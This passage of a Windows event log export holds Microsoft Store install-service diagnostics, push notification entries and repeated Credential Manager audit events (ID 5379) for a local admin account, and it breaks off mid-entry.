Microsoft.YourPhone_8wekyb3d8bbwe!App.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.893\t2006\t\"LoadCheckpointWorker CheckpointDataBlob is  QueueItemId = {\"\"InstallType\"\":\"\"Update\"\",\"\"AutomaticallyDownloadAndInstallUpdateIfFound\"\":false,\"\"AllowCachedResult\"\":false,\"\"FulfillmentData\"\":[],\"\"systemAttemptCount\"\":3} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadCheckpointsWorker\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5194)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.910\t1002\tError 0x80070002 occurred while verifying known folder {1777f761-68ad-4d8a-87bd-30b759fa33dd} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\Favorites'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:24.913\t1002\tError 0x80070002 occurred while verifying known folder {b4bfcc3a-db2c-424c-b029-7fe99a87c641} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\Desktop'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:24.970\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.970\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.971\t2006\t\"CreateInstallServiceWorkFromBridge. SystemAttemptCount is 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: CreateInstallServiceWorkFromBridge\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (1791)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.971\t2006\t\"[Start] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NZKPSTSNW4P\"\",\"\"WuBundleId\"\":\"\"97749f59-fa5c-47b6-aba6-d370e97f3f9e\"\",\"\"WuCategoryId\"\":\"\"9607e6e2-46a5-4a17-afca-908ffc36d70b\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (494)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.971\t2007\t\"InstallService InProc Caller. Current Thread not impersonating. Using current process (LocalSystem)\nError: Unknown HResult Error code: 0xefffffff\nFunction: CallerContext::_getCallerToken\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\callercontext.cpp (92)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:24.975\t2416\tA local notification was received from Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.976\t2418\tA local notification was submitted to threadpool: Microsoft.YourPhone_8wekyb3d8bbwe!App [AppUserModelId] badge [NotificationType] 9396 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:24.980\t3053\tbadge with notification tracking id 9396 is being delivered to Microsoft.YourPhone_8wekyb3d8bbwe!App.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:25.000\t2006\t\"AppId = 9607e6e2-46a5-4a17-afca-908ffc36d70b, WU Installed Flag = 0, OnlineSearch = 0, Interactive = 0, Scope = 2, Client ID = Update;Microsoft.XboxGamingOverlay_8wekyb3d8bbwe-SearchForUpdatesWithPausedAddAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: SearchUpdatePackages\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (280)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.003\t2006\t\"UUS Version = 1509.2607.1012.0\nError: Unknown HResult Error code: 0xefffffff\nFunction: SearchUpdatePackages\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (286)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.003\t2006\t\"WU query: \"\"IsInstalled=0 AND AppCategoryIDs contains '9607e6e2-46a5-4a17-afca-908ffc36d70b'\"\"\nError: Unknown HResult Error code: 0xefffffff\nFunction: SearchUpdatePackages\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (359)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.038\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.039\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.040\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.041\t2006\t\"[Telemetry]: StateTransition :: ProductId = (null) \u00a0PFN = (null) \u00a0CatalogId = (null) \u00a0FulfillmentPluginId = (null) \u00a0PluginTelemetryData = (null) \u00a0PrevState = ServiceStateChange \u00a0NewState = ServiceStateChange \u00a0PluginLastStage = 4 \u00a0HResult = 0 \u00a0__TlgCV__ = (null) \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"WU scan found 0 packages\nError: Unknown HResult Error code: 0xefffffff\nFunction: _PackagesFromSearchResult\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (157)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2007\t\"Failure detected\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (569)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2008\t\"[Error] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NZKPSTSNW4P\"\",\"\"WuBundleId\"\":\"\"97749f59-fa5c-47b6-aba6-d370e97f3f9e\"\",\"\"WuCategoryId\"\":\"\"9607e6e2-46a5-4a17-afca-908ffc36d70b\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (494)\"\tError\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2008\t\"Error creating work item\u00a0\nError: Unknown HResult Error code: 0x80240024\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (652)\"\tError\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"Failure detected\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: NULL (0)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"winrt::hresult_error: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp(569)\\installservice.dll!00007FFBBFA131E5: (caller: 00007FFBBFA1056E) Exception(1) tid(1bb0) 80240024\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: NULL (0)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"Failure detected\nError: Unknown HResult Error code: 0x80240024\nFunction: \nSource: NULL (0)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2007\t\"Failed to recover work from checkpoint. PackageFamilyName = Microsoft.XboxGamingOverlay_8wekyb3d8bbwe, cv = MF/KZgpOVUygJPUL.4.3.1.2.0, HRESULT = 0x80240024\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadCheckpointsWorker\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5352)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.706\t2006\t\"LoadCheckpointWorker CheckpointDataBlob is  QueueItemId = {\"\"InstallType\"\":\"\"Install\"\",\"\"FulfillmentData\"\":[],\"\"systemAttemptCount\"\":26} \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_LoadCheckpointsWorker\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5194)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.707\t2006\t\"CreateInstallServiceWorkFromBridge. SystemAttemptCount is 26\nError: Unknown HResult Error code: 0xefffffff\nFunction: CreateInstallServiceWorkFromBridge\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (1791)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.707\t2006\t\"[Start] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NRZT3Q9R3DL\"\",\"\"WuBundleId\"\":\"\"1c9d0171-5785-4dca-a220-41429db28c92\"\",\"\"WuCategoryId\"\":\"\"23f6ac41-7701-46ef-81fe-d3bc61d011bf\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null,\"\"PackageRankId\"\":\"\"100\"\",\"\"PackageFullNameId\"\":\"\"Microsoft.WindowsAppRuntime.2_2.3.1.0_x64__8wekyb3d8bbwe\"\",\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (312)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.707\t2007\t\"InstallService InProc Caller. Current Thread not impersonating. Using current process (LocalSystem)\nError: Unknown HResult Error code: 0xefffffff\nFunction: CallerContext::_getCallerToken\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\callercontext.cpp (92)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.708\t2005\t\"Processing fulfillment data: PackageRank=100, PackageFullName=Microsoft.WindowsAppRuntime.2_2.3.1.0_x64__8wekyb3d8bbwe\nError: Unknown HResult Error code: 0xefffffff\nFunction: UWAInstallWork::UWAInstallWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\uwainstallwork.cpp (613)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.708\t2006\t\"[End] Creating UWA Work\u00a0FulfillmentData = {\"\"ProductId\"\":\"\"9NRZT3Q9R3DL\"\",\"\"WuBundleId\"\":\"\"1c9d0171-5785-4dca-a220-41429db28c92\"\",\"\"WuCategoryId\"\":\"\"23f6ac41-7701-46ef-81fe-d3bc61d011bf\"\",\"\"PackageFamilyName\"\":\"\"Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe\"\",\"\"SkuId\"\":\"\"0010\"\",\"\"Content\"\":null,\"\"PackageFeatures\"\":null,\"\"PackageRankId\"\":\"\"100\"\",\"\"PackageFullNameId\"\":\"\"Microsoft.WindowsAppRuntime.2_2.3.1.0_x64__8wekyb3d8bbwe\"\",\"\"ParentBundleId\"\":\"\"\"\"} \u00a0\nError: The operation completed successfully.\nFunction: UWAInstallServiceWorkItem::UWAInstallServiceWorkItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (312)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.762\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.762\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.764\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead 